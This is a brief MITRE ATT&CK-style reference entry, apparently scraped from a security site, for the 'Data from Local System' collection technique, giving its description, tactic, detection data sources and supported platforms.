Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre